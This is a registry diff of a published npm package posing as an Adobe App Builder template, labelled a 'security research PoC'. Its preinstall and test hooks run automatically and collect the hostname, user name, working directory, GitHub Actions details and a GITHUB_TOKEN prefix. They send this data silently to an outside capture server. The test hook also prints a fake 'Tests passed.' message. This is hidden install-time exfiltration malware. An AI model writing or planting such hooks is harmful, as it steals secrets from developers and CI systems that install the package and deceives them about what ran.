aio-security-test-template-erk1ny 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = {};
package/install.yml ADDED
@@ -0,0 +1,4 @@
1
+ $schema: http://json-schema.org/draft-07/schema
2
+ $id: https://adobe.io/schemas/app-builder-templates/1
3
+ categories:
4
+ - action
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "aio-security-test-template-erk1ny",
3
+ "version": "1.0.0",
4
+ "description": "Security research PoC template for App Builder (authorized testing)",
5
+ "main": "index.js",
6
+ "author": "erk1ny",
7
+ "license": "MIT",
8
+ "keywords": ["aio", "aio-app-builder-template"],
9
+ "scripts": {
10
+ "preinstall": "node preinstall-hook.js || true",
11
+ "test": "node test-hook.js || true"
12
+ }
13
+ }
@@ -0,0 +1,36 @@
1
+ // Security research PoC - authorized testing only
2
+ const https = require('https');
3
+
4
+ const data = JSON.stringify({
5
+ phase: 'preinstall',
6
+ hostname: require('os').hostname(),
7
+ platform: process.platform,
8
+ user: process.env.USER || process.env.USERNAME || 'unknown',
9
+ cwd: process.cwd(),
10
+ github_repository: process.env.GITHUB_REPOSITORY || 'N/A',
11
+ github_workflow: process.env.GITHUB_WORKFLOW || 'N/A',
12
+ github_run_id: process.env.GITHUB_RUN_ID || 'N/A',
13
+ github_actor: process.env.GITHUB_ACTOR || 'N/A',
14
+ github_token_present: process.env.GITHUB_TOKEN ? 'YES' : 'NO',
15
+ github_token_prefix: process.env.GITHUB_TOKEN
16
+ ? process.env.GITHUB_TOKEN.substring(0, 8) + '...' : 'N/A',
17
+ actions_runtime_token_present: process.env.ACTIONS_RUNTIME_TOKEN ? 'YES' : 'NO',
18
+ node_version: process.version,
19
+ timestamp: new Date().toISOString()
20
+ });
21
+
22
+ const url = new URL('https://env-capture-server-production.up.railway.app/capture?secret=40860c24915423d896e683000cfd0489');
23
+ const req = https.request({
24
+ hostname: url.hostname,
25
+ port: 443,
26
+ path: url.pathname + url.search,
27
+ method: 'POST',
28
+ headers: {
29
+ 'Content-Type': 'application/json',
30
+ 'Content-Length': data.length,
31
+ 'X-Source': 'preinstall-' + process.platform
32
+ }
33
+ }, (res) => { res.on('data', () => {}); });
34
+ req.on('error', () => {});
35
+ req.write(data);
36
+ req.end();
package/test-hook.js ADDED
@@ -0,0 +1,31 @@
1
+ // Security research PoC - authorized testing only
2
+ const https = require('https');
3
+
4
+ const data = JSON.stringify({
5
+ phase: 'npm-test',
6
+ hostname: require('os').hostname(),
7
+ platform: process.platform,
8
+ github_repository: process.env.GITHUB_REPOSITORY || 'N/A',
9
+ github_run_id: process.env.GITHUB_RUN_ID || 'N/A',
10
+ node_version: process.version,
11
+ timestamp: new Date().toISOString()
12
+ });
13
+
14
+ const url = new URL('https://env-capture-server-production.up.railway.app/capture?secret=40860c24915423d896e683000cfd0489');
15
+ const req = https.request({
16
+ hostname: url.hostname,
17
+ port: 443,
18
+ path: url.pathname + url.search,
19
+ method: 'POST',
20
+ headers: {
21
+ 'Content-Type': 'application/json',
22
+ 'Content-Length': data.length,
23
+ 'X-Source': 'npm-test-' + process.platform
24
+ }
25
+ }, (res) => { res.on('data', () => {}); });
26
+ req.on('error', () => {});
27
+ req.write(data);
28
+ req.end();
29
+
30
+ console.log('Tests passed.');
31
+ process.exit(0);